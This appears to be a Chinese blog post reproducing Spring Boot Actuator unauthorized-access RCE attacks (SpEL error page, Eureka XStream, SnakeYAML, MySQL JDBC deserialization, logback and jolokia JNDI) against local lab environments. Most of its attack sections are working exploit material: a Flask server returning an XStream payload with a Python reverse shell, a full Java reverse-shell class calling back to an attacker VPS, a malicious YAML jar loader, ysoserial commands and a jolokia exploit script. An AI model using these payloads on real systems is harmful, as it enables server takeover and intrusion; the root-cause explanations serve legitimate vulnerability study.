前言

Spring Boot Actuator 未授权访问漏洞在日常的测试中还是能碰到一些的,这种未授权在某些情况下是可以达到RCE的效果的,所以还有有一定价值的,下面就是对这一系列漏洞复现。

基本上就是参考这篇文章的做的复现:

LandGrey/SpringBootVulExploit: SpringBoot 相关漏洞学习资料,利用方法和技巧合集,黑盒安全评估 check list (github.com)

Spring Boot Actuator简介

Spring Boot Actuator端点通过 JMX 和HTTP 公开暴露给外界访问,大多数时候我们使用基于HTTP的Actuator端点,因为它们很容易通过浏览器、CURL命令、shell脚本等方式访问。

一些有用的执行器端点是:

Spring Boot Actuator未授权访问

/dump - 显示线程转储(包括堆栈跟踪)
/autoconfig - 显示自动配置报告
/configprops - 显示配置属性
/trace - 显示最后几条HTTP消息(可能包含会话标识符)
/logfile - 输出日志文件的内容
/shutdown - 关闭应用程序
/info - 显示应用信息
/metrics - 显示当前应用的’指标’信息
/health - 显示应用程序的健康指标
/beans - 显示Spring Beans的完整列表
/mappings - 显示所有MVC控制器映射
/env - 提供对配置环境的访问
/restart - 重新启动应用程序
  • Spring Boot Actuator 1.x 版本默认内置路由的起始路径为 / ,2.x 版本则统一以 /actuator 为起始路径
  • Spring Boot Actuator 默认的内置路由名字,如 /env 有时候也会被程序员修改,比如修改成 /appenv

whitelabel error page SpEL RCE

1 影响版本:

  • 影响版本:
    1.1.0-1.1.12
    1.2.0-1.2.7
    1.3.0

2 漏洞原理:

  • 利用条件是使用了springboot的默认错误页(Whitelabel Error Page)
  1. spring boot 处理参数值出错,流程进入 org.springframework.util.PropertyPlaceholderHelper 类中

  2. 此时 URL 中的参数值会用 parseStringValue 方法进行递归解析

  3. 其中 ${} 包围的内容都会被 org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration 类的 resolvePlaceholder 方法当作 SpEL 表达式被解析执行,造成 RCE 漏洞

3 验证检测方法:

步骤一:找到一个正常传参处

比如发现访问 /article ,页面会报状态码为 500 的错误: Whitelabel Error Page

image-20211125105128725

步骤二:执行 SpEL 表达式

输入 /article?id=${7*7} ,如果发现报错页面将 7*7 的值 49 计算出来显示在报错页面上,那么基本可以确定目标存在 SpEL 表达式注入漏洞。

image-20211125104910358

4 利用方法:

由字符串格式转换成 0x** java 字节形式,方便执行任意代码:

# author: Zeo
# python: 3.7 
# software: PyCharm

"""
文件说明:转换字节码
"""
# coding: utf-8

result = ""
target = 'open -a Calculator'
for x in target:
    result += hex(ord(x)) + ","
print(result.rstrip(','))

正常访问:

http://127.0.0.1:9091/article?id=66

执行 open -a Calculator 命令:

http://127.0.0.1:8080/article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}

image-20211125105005884

漏洞环境搭建:

https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-spel-rce

eureka xstream deserialization RCE

1 利用条件:

  • 可以 POST 请求目标网站的 /env 接口设置属性
  • 可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)
  • 目标使用的 eureka-client < 1.8.7(通常包含在 spring-cloud-starter-netflix-eureka-client 依赖中)
  • 目标可以请求攻击者的 HTTP 服务器(请求可出外网)

2 漏洞原理:

  1. eureka.client.serviceUrl.defaultZone 属性被设置为恶意的外部 eureka server URL 地址
  2. refresh 触发目标机器请求远程 URL,提前架设的 fake eureka server 就会返回恶意的 payload
  3. 目标机器相关依赖解析 payload,触发 XStream 反序列化,造成 RCE 漏洞

3 漏洞环境:

repository/springboot-eureka-xstream-rce

4 漏洞复现

正常访问:

http://127.0.0.1:9093/env

image-20211202103040953

发现存在所需的依赖

nc 监听端口,等待反弹 shell

image-20211202104656362

架设响应恶意 XStream payload 的网站

运行恶意脚本,并根据实际情况修改脚本中反弹 shell 的 ip 地址和 端口号

#!/usr/bin/env python
# coding: utf-8
# -**- Author: LandGrey -**-

from flask import Flask, Response

app = Flask(__name__)


@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods=['GET', 'POST'])
def catch_all(path):
    xml = """<linked-hash-set>
  <jdk.nashorn.internal.objects.NativeString>
    <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
      <dataHandler>
        <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
          <is class="javax.crypto.CipherInputStream">
            <cipher class="javax.crypto.NullCipher">
              <serviceIterator class="javax.imageio.spi.FilterIterator">
                <iter class="javax.imageio.spi.FilterIterator">
                  <iter class="java.util.Collections$EmptyIterator"/>
                  <next class="java.lang.ProcessBuilder">
                    <command>
                       <string>/bin/bash</string>
                       <string>-c</string>
                       <string>python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("VPSIP",4443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'</string>
                    </command>
                    <redirectErrorStream>false</redirectErrorStream>
                  </next>
                </iter>
                <filter class="javax.imageio.ImageIO$ContainsFilter">
                  <method>
                    <class>java.lang.ProcessBuilder</class>
                    <name>start</name>
                    <parameter-types/>
                  </method>
                  <name>foo</name>
                </filter>
                <next class="string">foo</next>
              </serviceIterator>
              <lock/>
            </cipher>
            <input class="java.lang.ProcessBuilder$NullInputStream"/>
            <ibuffer></ibuffer>
          </is>
        </dataSource>
      </dataHandler>
    </value>
  </jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>"""
    return Response(xml, mimetype='application/xml')


if __name__ == "__main__":
    app.run(host='0.0.0.0', port=777)

发送设置 eureka.client.serviceUrl.defaultZone 属性

image-20211202111957169

POST /env HTTP/1.1
Host: 127.0.0.1:9093
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

eureka.client.serviceUrl.defaultZone=http://VPSIP:777/example

刷新配置

POST /refresh HTTP/1.1
Host: 127.0.0.1:9093
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

image-20211202112136839

成功反弹shell

image-20211202111923596

5 利用方法:

步骤一:架设响应恶意 XStream payload 的网站

提供一个依赖 Flask 并符合要求的 python 脚本示例,作用是利用目标 Linux 机器上自带的 python 来反弹shell。

使用 python 在自己控制的服务器上运行以上的脚本,并根据实际情况修改脚本中反弹 shell 的 ip 地址和 端口号。

步骤二:监听反弹 shell 的端口

一般使用 nc 监听端口,等待反弹 shell

nc -lvp 443
步骤三:设置 eureka.client.serviceUrl.defaultZone 属性

spring 1.x

POST /env
Content-Type: application/x-www-form-urlencoded

eureka.client.serviceUrl.defaultZone=http://your-vps-ip/example

spring 2.x

POST /actuator/env
Content-Type: application/json

{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/example"}
步骤四:刷新配置

spring 1.x

POST /refresh
Content-Type: application/x-www-form-urlencoded

spring 2.x

POST /actuator/refresh
Content-Type: application/json

spring cloud SnakeYAML RCE

1 利用条件:

  • 可以 POST 请求目标网站的 /env 接口设置属性
  • 可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)
  • 目标依赖的 spring-cloud-starter 版本 < 1.3.0.RELEASE
  • 目标可以请求攻击者的 HTTP 服务器(请求可出外网)

2 利用方法:

步骤一: 托管 yml 和 jar 文件

在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)

# 使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80
python3 -m http.server 80

image-20220129144602894

在网站根目录下放置后缀为 yml 的文件 example.yml,内容如下:

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://your-vps-ip/example.jar"]
  ]]
]

image-20220129144519323

在网站根目录下放置后缀为 jar 的文件 example.jar,内容是要执行的代码,

代码编写及编译方式参考 (https://github.com/artsploit/yaml-payload)。

AwesomeScriptEngineFactory.java

package artsploit;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

    public AwesomeScriptEngineFactory() {
        try {
            Runtime.getRuntime().exec("dig quonwz.dnslog.cn");
            Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public String getEngineName() {
        return null;
    }

    @Override
    public String getEngineVersion() {
        return null;
    }

    @Override
    public List<String> getExtensions() {
        return null;
    }

    @Override
    public List<String> getMimeTypes() {
        return null;
    }

    @Override
    public List<String> getNames() {
        return null;
    }

    @Override
    public String getLanguageName() {
        return null;
    }

    @Override
    public String getLanguageVersion() {
        return null;
    }

    @Override
    public Object getParameter(String key) {
        return null;
    }

    @Override
    public String getMethodCallSyntax(String obj, String m, String... args) {
        return null;
    }

    @Override
    public String getOutputStatement(String toDisplay) {
        return null;
    }

    @Override
    public String getProgram(String... statements) {
        return null;
    }

    @Override
    public ScriptEngine getScriptEngine() {
        return null;
    }
}

打包命令

javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

打包完成

image-20211224140901914

步骤二: 设置 spring.cloud.bootstrap.location 属性

spring 1.x

POST /env
Content-Type: application/x-www-form-urlencoded

spring.cloud.bootstrap.location=http://your-vps-ip/example.yml![]()

spring 2.x

POST /actuator/env
Content-Type: application/json

{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/example.yml"}

步骤三: 刷新配置

spring 1.x

POST /refresh
Content-Type: application/x-www-form-urlencoded

image-20211224144527246

image-20211224144604954

spring 2.x

POST /actuator/refresh
Content-Type: application/json

3 漏洞原理:

  1. spring.cloud.bootstrap.location 属性被设置为外部恶意 yml 文件 URL 地址
  2. refresh 触发目标机器请求远程 HTTP 服务器上的 yml 文件,获得其内容
  3. SnakeYAML 由于存在反序列化漏洞,所以解析恶意 yml 内容时会完成指定的动作
  4. 先是触发 java.net.URL 去拉取远程 HTTP 服务器上的恶意 jar 文件
  5. 然后是寻找 jar 文件中实现 javax.script.ScriptEngineFactory 接口的类并实例化
  6. 实例化类时执行恶意代码,造成 RCE 漏洞

4 利用过程分析:

首先简单总结一下利用过程

  1. 利用 /env endpoint 修改 spring.cloud.bootstrap.location 属性值为一个外部 yml 配置文件 url 地址,如 http://127.0.0.1:63712/yaml-payload.yml
  2. 请求 /refresh endpoint,触发程序下载外部 yml 文件,并由 SnakeYAML 库进行解析,因 SnakeYAML 在反序列化时支持指定 class 类型和构造方法的参数,结合 JDK 自带的 javax.script.ScriptEngineManager 类,可实现加载远程 jar 包,完成任意代码执行

从过程中我们知道,命令执行是由于 SnakeYAML 在解析 YAML 文件时,存在反序列化漏洞导致的,来看一个使用 SnakeYAML 库反序列化的例子

    @Test
    public void testYaml() {
        Yaml yaml = new Yaml();
        Object url = yaml.load("!!java.net.URL [\"http://127.0.0.1:63712/yaml-payload.jar\"]");
        // class java.net.URL
        System.out.println(url.getClass());
        // http://127.0.0.1:63712/yaml-payload.jar
        System.out.println(url);
    }

SnakeYAML 支持 !! + 完整类名的方式来指定要反序列化的类,然后以 [arg1, arg2, ...] 的方式来传递构造方法参数,例子中的代码执行完后会出反序列化一个 java.net.URL 类的实例

再来看一下文章给出的外部 yml 文件 yaml-payload.yml 的内容

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://127.0.0.1:61234/yaml-payload.jar"]
  ]]
]

SnakeYAML 处理上述内容的过程可以等价于以下 java 代码

URL url = new URL("http://127.0.0.1:63712/yaml-payload.jar");
new ScriptEngineManager(new URLClassLoader(new URL[]{url}));

代码执行后,会从 http://127.0.0.1:63712/yaml-payload.jar 地址下载 jar 包,并在包中寻找一个 javax.script.ScriptEngineFactory 接口的实现类,然后实例化,因为这个 jar 包代码是可控的,因此可执行任意代码

5 漏洞环境:

repository/springcloud-snakeyaml-rce

正常访问:

http://127.0.0.1:9092/env

springboot mysql jdbc deserialization RCE

1 利用条件:

  • 可以 POST 请求目标网站的 /env 接口设置属性
  • 可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)
  • 目标环境中存在 mysql-connector-java 依赖
  • 目标可以请求攻击者的服务器(请求可出外网)

2 漏洞原理:

  1. spring.datasource.url 属性被设置为外部恶意 mysql jdbc url 地址
  2. refresh 刷新后设置了一个新的 spring.datasource.url 属性值
  3. 当网站进行数据库查询等操作时,会尝试使用恶意 mysql jdbc url 建立新的数据库连接
  4. 然后恶意 mysql server 就会在建立连接的合适阶段返回反序列化 payload 数据
  5. 目标依赖的 mysql-connector-java 就会反序列化设置好的 gadget,造成 RCE 漏洞

3 利用过程

步骤一:查看环境依赖

GET 请求 /env/actuator/env,搜索环境变量(classpath)中是否有 mysql-connector-java 关键词,并记录下其版本号(5.x 或 8.x);

image-20211208135505340

搜索并观察环境变量中是否存在常见的反序列化 gadget 依赖,比如 commons-collectionsJdk7u21Jdk8u20 等;

image-20211208135537355

搜索 spring.datasource.url 关键词,记录下其 value 值,方便后续恢复其正常 jdbc url 值。

image-20211208135606250

步骤二:架设恶意 rogue mysql server

在自己控制的服务器上运行 springboot-jdbc-deserialization-rce.py 脚本,并使用 ysoserial 自定义要执行的命令:

java -jar ysoserial.jar CommonsCollections3 calc > payload.ser

在脚本同目录下生成 payload.ser 反序列化 payload 文件,供脚本使用。

步骤三:设置 spring.datasource.url 属性

⚠️ 修改此属性会暂时导致网站所有的正常数据库服务不可用,会对业务造成影响,请谨慎操作!

mysql-connector-java 5.x 版本设置属性值为:

jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true

mysql-connector-java 8.x 版本设置属性值为:

jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true

spring 1.x

POST /env
Content-Type: application/x-www-form-urlencoded

spring.datasource.url=对应属性值

spring 2.x

POST /actuator/env
Content-Type: application/json

{"name":"spring.datasource.url","value":"对应属性值"}

image-20211208142322601

步骤四:刷新配置

spring 1.x

POST /refresh
Content-Type: application/x-www-form-urlencoded

spring 2.x

POST /actuator/refresh
Content-Type: application/json

image-20211208143044550

步骤五:触发数据库查询

尝试访问网站已知的数据库查询的接口,例如: /product/list ,或者寻找其他方式,主动触发源网站进行数据库查询,然后漏洞会被触发

访问http://127.0.0.1:9097//product/list

image-20211208143638795

步骤六:恢复正常 jdbc url

反序列化漏洞利用完成后,使用 步骤三 的方法恢复 步骤一 中记录的 spring.datasource.url 的原始 value

restart logging.config logback JNDI RCE

1 利用条件:

  • 可以 POST 请求目标网站的 /env 接口设置属性
  • 可以 POST 请求目标网站的 /restart 接口重启应用
  • 普通 JNDI 注入受目标 JDK 版本影响,jdk < 6u201/7u191/8u182/11.0.1(LDAP),但相关环境可绕过
  • ⚠️ 目标可以请求攻击者的 HTTP 服务器(请求可出外网),否则 restart 会导致程序异常退出
  • ⚠️ HTTP 服务器如果返回含有畸形 xml 语法内容的文件,会导致程序异常退出
  • ⚠️ JNDI 服务返回的 object 需要实现 javax.naming.spi.ObjectFactory 接口,否则会导致程序异常退出

2 利用方法:

步骤零:找到目标网站

发现spring actuator 目前主要有两个差别比较大的版本,1.x 和 2.x 版本。从路由角度看,2.x 版本的路由名一般比 1.x 版本路由名字前多了个 /actuator 前缀。本文涉及到的相关漏洞原理经过测试与 spring actuator 大版本的相关度差别不大,下文统一用 2.x

image-20220106101333986

步骤一:托管 xml 文件

在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)

# 使用 python 快速开启 http server
python3 -m http.server 80

在根目录放置以 xml 结尾的 example.xml 文件,实际内容要根据步骤二中使用的 JNDI 服务来确定:

<configuration>
  <insertFromJNDI env-entry-name="ldap://110.xx.xx.110:1389/TomcatBypass/TomcatMemshell3" as="appName" />
</configuration>

步骤二:托管恶意 ldap 服务及代码

修改 JNDIExploit 并启动(也可以使用其他工具):

https://github.com/feihong-cs/JNDIExploit

java -jar JNDIExploit-1.0-SNAPSHOT.jar -i 110.xx.xx.110

步骤三:设置 logging.config 属性

spring 1.x

POST /env
Content-Type: application/x-www-form-urlencoded

logging.config=http://your-vps-ip/example.xml

spring 2.x

POST /actuator/env
Content-Type: application/json

{"name":"logging.config","value":"http://your-vps-ip/example.xml"}

image-20220106104030240

image-20220106104041591

步骤四:重启应用

spring 1.x

POST /restart
Content-Type: application/x-www-form-urlencoded

spring 2.x

POST /actuator/restart
Content-Type: application/json

image-20220106104137651

image-20220106104146393

image-20220106105457183

image-20220106105418120

4 漏洞原理:

  1. 目标机器通过 logging.config 属性设置 logback 日志配置文件 URL 地址
  2. restart 重启应用后,程序会请求 URL 地址获得恶意 xml 文件内容
  3. 目标机器使用 saxParser.parse 解析 xml 文件 (这里导致了 xxe 漏洞)
  4. xml 文件中利用 logback 依赖的 insertFormJNDI 标签,设置了外部 JNDI 服务器地址
  5. 目标机器请求恶意 JNDI 服务器,导致 JNDI 注入,造成 RCE 漏洞

Springboot jolokia Realm JNDI RCE

1 正常访问:

http://127.0.0.1:9094/env

image-20220126103125692

2 利用条件:

  • 目标网站存在 /jolokia/actuator/jolokia 接口
  • 目标使用了 jolokia-core 依赖(版本要求暂未知)并且环境中存在相关 MBean
  • 目标可以请求攻击者的服务器(请求可出外网)
  • 普通 JNDI 注入受目标 JDK 版本影响,jdk < 6u141/7u131/8u121(RMI),但相关环境可绕过

image-20220126103151134

3 利用方法:

步骤一:查看已存在的 MBeans

访问 /jolokia/list 接口,查看是否存在 type=MBeanFactorycreateJNDIRealm 关键词。

image-20220126103236857

步骤二:准备要执行的 Java 代码

编写优化过后的用来反弹 shell 的Java 示例代码 JNDIObject.java

把 JNDIObject.java 编译成 class文件

javac -source 1.5 -target 1.5 /Users/zy/Desktop/JNDIObject.java

修改反弹shell的字段

String ip = "110.110.110.110";
String port = "4443";

代码:

/**
 *  javac -source 1.5 -target 1.5 JNDIObject.java
 *
 *  Build By LandGrey
 * */

import java.io.File;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class JNDIObject {
    static {
        try{
            String ip = "your-vps-ip";
            String port = "443";
            String py_path = null;
            String[] cmd;
            if (!System.getProperty("os.name").toLowerCase().contains("windows")) {
                String[] py_envs = new String[]{"/bin/python", "/bin/python3", "/usr/bin/python", "/usr/bin/python3", "/usr/local/bin/python", "/usr/local/bin/python3"};
                for(int i = 0; i < py_envs.length; ++i) {
                    String py = py_envs[i];
                    if ((new File(py)).exists()) {
                        py_path = py;
                        break;
                    }
                }
                if (py_path != null) {
                    if ((new File("/bin/bash")).exists()) {
                        cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/bash\")"};
                    } else {
                        cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/sh\")"};
                    }
                } else {
                    if ((new File("/bin/bash")).exists()) {
                        cmd = new String[]{"/bin/bash"};
                    } else {
                        cmd = new String[]{"/bin/sh"};
                    }
                }
            } else {
                cmd = new String[]{"cmd.exe"};
            }
            Process p = (new ProcessBuilder(cmd)).redirectErrorStream(true).start();
            Socket s = new Socket(ip, Integer.parseInt(port));
            InputStream pi = p.getInputStream();
            InputStream pe = p.getErrorStream();
            InputStream si = s.getInputStream();
            OutputStream po = p.getOutputStream();
            OutputStream so = s.getOutputStream();
            while(!s.isClosed()) {
                while(pi.available() > 0) {
                    so.write(pi.read());
                }
                while(pe.available() > 0) {
                    so.write(pe.read());
                }
                while(si.available() > 0) {
                    po.write(si.read());
                }
                so.flush();
                po.flush();
                Thread.sleep(50L);
                try {
                    p.exitValue();
                    break;
                } catch (Exception e) {
                }
            }
            p.destroy();
            s.close();
        }catch (Throwable e){
            e.printStackTrace();
        }
    }
}

步骤三:托管 class 文件

在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)

# 使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80
python3 -m http.server 80

步骤二中编译好的 class 文件拷贝到 HTTP 服务器根目录。

步骤四:架设恶意 rmi 服务

下载 marshalsechttps://github.com/mbechler/marshalsec,使用下面命令架设对应的 rmi 服务:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://110.110.110.110:88/#JNDIObject 1389

步骤五:监听反弹 shell 的端口

一般使用 nc 监听端口,等待反弹 shell

nc -lvp 4443

步骤六:发送恶意 payload

根据实际情况修改脚本中的目标地址,RMI 地址、端口等信息,然后在自己控制的服务器上运行。

需要修改的地方
url = 'http://127.0.0.1:9094/jolokia/'
"value": "rmi://110.110.110.110:1389/JNDIObject"

代码:springboot-realm-jndi-rce.py

import requests


url = 'http://127.0.0.1:9094/jolokia/'


create_realm = {
    "mbean": "Tomcat:type=MBeanFactory",
    "type": "EXEC",
    "operation": "createJNDIRealm",
    "arguments": ["Tomcat:type=Engine"]
}

wirte_factory = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "WRITE",
    "attribute": "contextFactory",
    "value": "com.sun.jndi.rmi.registry.RegistryContextFactory"
}

write_url = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "WRITE",
    "attribute": "connectionURL",
    "value": "rmi://110.110.110.110:1389/JNDIObject"
}

stop = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "EXEC",
    "operation": "stop",
    "arguments": []
}

start = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "EXEC",
    "operation": "start",
    "arguments": []
}

flow = [create_realm, wirte_factory, write_url, stop, start]

for i in flow:
    print('%s MBean %s: %s ...' % (i['type'].title(), i['mbean'], i.get('operation', i.get('attribute'))))
    r = requests.post(url, json=i)
    r.json()
    print(r.status_code)

运行python文件

image-20220126142733040

RMI服务收到请求

image-20220126141535653

VPS接收到反弹的shell

image-20220126141801956

4 漏洞原理:

  1. 利用 jolokia 调用 createJNDIRealm 创建 JNDIRealm
  2. 设置 connectionURL 地址为 RMI Service URL
  3. 设置 contextFactory 为 RegistryContextFactory
  4. 停止 Realm
  5. 启动 Realm 以触发指定 RMI 地址的 JNDI 注入,造成 RCE 漏洞

Springboot jolokia logback JNDI RCE

1 漏洞环境,正常访问:

http://127.0.0.1:9094/env

image-20220126092951280

2 利用条件:

  • 目标网站存在 /jolokia/actuator/jolokia 接口

  • 目标使用了 jolokia-core 依赖(版本要求暂未知)并且环境中存在相关 MBean

  • 目标可以请求攻击者的 HTTP 服务器(请求可出外网)

  • 普通 JNDI 注入受目标 JDK 版本影响,jdk < 6u201/7u191/8u182/11.0.1(LDAP),但相关环境可绕过

http://127.0.0.1:9094/jolokia

image-20220126093044846

3 利用方法:

步骤一:查看已存在的 MBeans

访问 /jolokia/list 接口,查看是否存在 ch.qos.logback.classic.jmx.JMXConfiguratorreloadByURL 关键词。

image-20220126094044156

步骤二:托管 xml 文件

在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)

# 使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80
python3 -m http.server 80

在根目录放置以 xml 结尾的 example.xml 文件,内容如下:

<configuration>
  <insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/JNDIObject" as="appName" />
</configuration>

步骤三:架设恶意 ldap 服务

下载 JNDIExploit,使用下面命令架设对应的 ldap 服务:

 java -jar JNDIExploit-1.3-SNAPSHOT.jar

步骤四:从外部 URL 地址加载日志配置文件

替换实际的 your-vps-ip 地址访问 URL 触发漏洞:

注意payload种URL
http:!/!/your-vps-ip!/example.xml
其中 / 都是 !/ 替代的

PAYLOAD

/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/your-vps-ip!/example.xml

HTTP请求收到请求

image-20220126101113887

JNDI收到请求

image-20220126101008425

成功命令执行

image-20220126100454427

⚠️ 如果目标成功请求了example.xml 并且 marshalsec 也接收到了目标请求,但是目标没有请求 JNDIObject.class,大概率是因为目标环境的 jdk 版本太高,导致 JNDI 利用失败。

4 漏洞原理:

  1. 直接访问可触发漏洞的 URL,相当于通过 jolokia 调用 ch.qos.logback.classic.jmx.JMXConfigurator 类的 reloadByURL 方法
  2. 目标机器请求外部日志配置文件 URL 地址,获得恶意 xml 文件内容
  3. 目标机器使用 saxParser.parse 解析 xml 文件 (这里导致了 xxe 漏洞)
  4. xml 文件中利用 logback 依赖的 insertFormJNDI 标签,设置了外部 JNDI 服务器地址
  5. 目标机器请求恶意 JNDI 服务器,导致 JNDI 注入,造成 RCE 漏洞

Spring Boot Actuator 漏洞复现合集.md

Logo

华为开发者空间,是为全球开发者打造的专属开发空间,汇聚了华为优质开发资源及工具,致力于让每一位开发者拥有一台云主机,基于华为根生态开发、创新。

更多推荐